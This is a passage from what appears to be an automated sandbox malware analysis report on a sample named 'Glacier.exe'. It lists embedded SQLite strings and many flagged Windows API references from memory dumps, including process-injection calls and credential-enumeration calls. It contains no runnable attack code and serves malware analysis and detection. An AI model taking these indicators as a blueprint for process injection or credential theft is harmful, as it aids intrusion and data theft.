sql = sqlite_rename_column(sql, type, name, %q, %q, %d, %q, %d, %d) where name not like 'sqlitex_%%' escape 'x' and (type != 'index' or tbl_name = %q)"), "CREATE TABLE x(key,value,type,atom,id,parent,fullkey,path,json HIDDEN,root HIDDEN)" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "create table x(key,value,type,atom,id,parent,fullkey,path,json hidden,root hidden)"), "INSERT INTO vacuum_db.sqlite_schema SELECT*FROM "%w".sqlite_schema WHERE type IN('view','trigger') OR(type='table'AND rootpage=0)" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "insert into vacuum_db.sqlite_schema select*from "%w".sqlite_schema where type in('view','trigger') or(type='table'and rootpage=0)"), "SELECT * FROM (SELECT 'sqlite_schema' AS name,1 AS rootpage,'table' AS type UNION ALL SELECT name,rootpage,type FROM "%w".sqlite_schema WHERE rootpage!=0)" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "select * from (select 'sqlite_schema' as name,1 as rootpage,'table' as type union all select name,rootpage,type from "%w".sqlite_schema where rootpage!=0)"), "UPDATE temp.sqlite_master SET sql = sqlite_rename_column(sql, type, name, %Q, %Q, %d, %Q, %d, 1) WHERE type IN ('trigger', 'view')" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "update temp.sqlite_master set sql = sqlite_rename_column(sql, type, name, %q, %q, %d, %q, %d, 1) where type in ('trigger', 'view')")3c:T6f3,Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "Glacier.exe") file/memory contains long string with (Indicator: "CreateFile"; File: "Glacier.exe") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "RelaCreateFileA" (Indicator: "CreateFile"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "CreateFileMappingFromApp" (Indicator: "CreateFile"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "_md_OpenAnonFileMap(): PR_CreateFileMap(): failed" (Indicator: "CreateFile"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "CreateFile2" (Indicator: "CreateFile"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "PR_CreateFileMap" (Indicator: "CreateFile"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp")3d:Tdb8c,Found reference to API (Indicator: "SwitchToThread"; File: "Glacier.exe") Found reference to API (Indicator: "WriteConsoleW"; File: "Glacier.exe") Found reference to API (Indicator: "RaiseFailFastException"; File: "Glacier.exe") Found reference to API (Indicator: "ResumeThread"; File: "Glacier.exe") Found reference to API (Indicator: "SetThreadContext"; File: "Glacier.exe") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "Glacier.exe") Found reference to API (Indicator: "VirtualFree"; File: "Glacier.exe") Found reference to API (Indicator: "GetStdHandle"; File: "Glacier.exe") Found reference to API (Indicator: "WerSetFlags"; File: "Glacier.exe") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "Glacier.exe") Found reference to API (Indicator: "GetQueuedCompletionStatusEx"; File: "Glacier.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "Glacier.exe") Found reference to API (Indicator: "CreateIoCompletionPort"; File: "Glacier.exe") Found reference to API (Indicator: "DuplicateHandle"; File: "Glacier.exe") Found reference to API (Indicator: "CreateEventA"; File: "Glacier.exe") Found reference to API (Indicator: "GetThreadContext"; File: "Glacier.exe") Found reference to API (Indicator: "PostQueuedCompletionStatus"; File: "Glacier.exe") Found reference to API (Indicator: "SuspendThread"; File: "Glacier.exe") Found reference to API (Indicator: "GetSystemInfo"; File: "Glacier.exe") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "Glacier.exe") Found reference to API (Indicator: "LoadLibraryW"; File: "Glacier.exe") Found reference to API (Indicator: "WaitForMultipleObjects"; File: "Glacier.exe") Found reference to API (Indicator: "AddVectoredExceptionHandler"; File: "Glacier.exe") Found reference to API (Indicator: "TlsAlloc"; File: "Glacier.exe") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "Glacier.exe") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "Glacier.exe") Found reference to API (Indicator: "GetProcessAffinityMask"; File: "Glacier.exe") Found reference to API (Indicator: "CreateFileA"; File: "Glacier.exe") Found reference to API (Indicator: "CloseHandle"; File: "Glacier.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "Glacier.exe") Found reference to API (Indicator: "SetEvent"; File: "Glacier.exe") Found reference to API (Indicator: "SetWaitableTimer"; File: "Glacier.exe") Found reference to API (Indicator: "SetProcessPriorityBoost"; File: "Glacier.exe") Found reference to API (Indicator: "WerGetFlags"; File: "Glacier.exe") Found reference to API (Indicator: "GetErrorMode"; File: "Glacier.exe") Found reference to API (Indicator: "CreateThread"; File: "Glacier.exe") Found reference to API (Indicator: "VirtualAlloc"; File: "Glacier.exe") Found reference to API (Indicator: "ExitProcess"; File: "Glacier.exe") Found reference to API (Indicator: "SetConsoleCtrlHandler"; File: "Glacier.exe") Found reference to API (Indicator: "AddVectoredContinueHandler"; File: "Glacier.exe") Found reference to API (Indicator: "SetErrorMode"; File: "Glacier.exe") Found reference to API (Indicator: "WriteFile"; File: "Glacier.exe") Found reference to API (Indicator: "LoadLibraryExW"; File: "Glacier.exe") Found reference to API (Indicator: "VirtualQuery"; File: "Glacier.exe") Found reference to API (Indicator: "CreateWaitableTimerExW"; File: "Glacier.exe") Found reference to API (Indicator: "GetConsoleMode"; File: "Glacier.exe") Found reference to API (Indicator: "GetProcAddress"; File: "Glacier.exe") Found reference to API (Indicator: "WSAIoctl"; File: "Glacier.exe") Found reference to API (Indicator: "GetFileType"; File: "Glacier.exe") Found reference to API (Indicator: "GetFileInformationByHandle"; File: "Glacier.exe") Found reference to API (Indicator: "WSAGetOverlappedResult"; File: "Glacier.exe") Found reference to API (Indicator: "DisplayVersion"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API (Indicator: "CreateStreamOnHGlobal"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API (Indicator: "CredEnumerateA"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API (Indicator: "CredFree"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "ConnectNamedPipe"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "CreateNamedPipeA"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "CreateRemoteThread"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeThread"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API (Indicator: "PeekNamedPipe"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "VirtualAllocEx"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "VirtualFreeEx"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtectEx"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API (Indicator: "VirtualQuery"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "WriteProcessMemory"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API (Indicator: "lstrcatA"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API (Indicator: "lstrlenA"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API (Indicator: "wsprintfA"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API (Indicator: "wvsprintfA"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API (Indicator: "AddVectoredExceptionHandler"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API (Indicator: "RtlAddFunctionTable"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "SetFileCompletionNotificationModes"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameA"; Source: "00000000-00001176.00000001.167729.6E434000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API (Indicator: "GetLogicalDrives"; Source: "00000000-00001176.00000001.167729.6E434000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00001176.00000001.167729.6E434000.00000002.mdmp") Found reference to API (Indicator: "GlobalMemoryStatus"; Source: "00000000-00001176.00000001.167729.6E434000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found reference to API 